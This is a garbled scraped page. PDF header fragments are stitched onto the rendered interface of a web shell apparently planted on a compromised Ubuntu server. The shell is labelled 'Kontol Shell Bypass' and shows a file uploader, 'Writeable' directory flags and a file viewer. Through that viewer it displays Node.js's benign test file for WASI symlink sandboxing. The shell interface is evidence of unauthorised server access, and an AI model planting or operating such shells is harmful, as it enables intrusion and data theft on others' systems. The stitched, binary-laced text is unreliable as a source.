%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/proc/self/root/home/ubuntu/node-v16.18.1/test/wasi/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/proc/self/root/home/ubuntu/node-v16.18.1/test/wasi/test-wasi-symlinks.js
'use strict';
const common = require('../common');
const fs = require('fs');
const path = require('path');

if (process.argv[2] === 'wasi-child') {
  common.expectWarning('ExperimentalWarning',
                       'WASI is an experimental feature. This feature could ' +
                       'change at any time');

  const { WASI } = require('wasi');
  const wasmDir = path.join(__dirname, 'wasm');
  const wasi = new WASI({
    args: [],
    env: process.env,
    preopens: {
      '/sandbox': process.argv[4],
      '/tmp': process.argv[5]
    }
  });
  const importObject = { wasi_snapshot_preview1: wasi.wasiImport };
  const modulePath = path.join(wasmDir, `${process.argv[3]}.wasm`);
  const buffer = fs.readFileSync(modulePath);

  (async () => {
    const { instance } = await WebAssembly.instantiate(buffer, importObject);

    wasi.start(instance);
  })().then(common.mustCall());
} else {
  if (!common.canCreateSymLink()) {
    common.skip('insufficient privileges');
  }

  const assert = require('assert');
  const cp = require('child_process');
  const tmpdir = require('../common/tmpdir');

  // Setup the sandbox environment.
  tmpdir.refresh();
  const sandbox = path.join(tmpdir.path, 'sandbox');
  const sandboxedFile = path.join(sandbox, 'input.txt');
  const externalFile = path.join(tmpdir.path, 'outside.txt');
  const sandboxedDir = path.join(sandbox, 'subdir');
  const sandboxedSymlink = path.join(sandboxedDir, 'input_link.txt');
  const escapingSymlink = path.join(sandboxedDir, 'outside.txt');
  const loopSymlink1 = path.join(sandboxedDir, 'loop1');
  const loopSymlink2 = path.join(sandboxedDir, 'loop2');
  const sandboxedTmp = path.join(tmpdir.path, 'tmp');

  fs.mkdirSync(sandbox);
  fs.mkdirSync(sandboxedDir);
  fs.mkdirSync(sandboxedTmp);
  fs.writeFileSync(sandboxedFile, 'hello from input.txt', 'utf8');
  fs.writeFileSync(externalFile, 'this should be inaccessible', 'utf8');
  fs.symlinkSync(path.join('.', 'input.txt'), sandboxedSymlink, 'file');
  fs.symlinkSync(path.join('..', 'outside.txt'), escapingSymlink, 'file');
  fs.symlinkSync(path.join('subdir', 'loop2'),
                 loopSymlink1, 'file');
  fs.symlinkSync(path.join('subdir', 'loop1'),
                 loopSymlink2, 'file');

  function runWASI(options) {
    console.log('executing', options.test);
    const opts = { env: { ...process.env, NODE_DEBUG_NATIVE: 'wasi' } };
    const child = cp.spawnSync(process.execPath, [
      '--experimental-wasi-unstable-preview1',
      __filename,
      'wasi-child',
      options.test,
      sandbox,
      sandboxedTmp,
    ], opts);
    console.log(child.stderr.toString());
    assert.strictEqual(child.status, 0);
    assert.strictEqual(child.signal, null);
    assert.strictEqual(child.stdout.toString(), options.stdout || '');
  }

  runWASI({ test: 'create_symlink', stdout: 'hello from input.txt' });
  runWASI({ test: 'follow_symlink', stdout: 'hello from input.txt' });
  runWASI({ test: 'link' });
  runWASI({ test: 'symlink_escape' });
  runWASI({ test: 'symlink_loop' });
}

Kontol Shell Bypass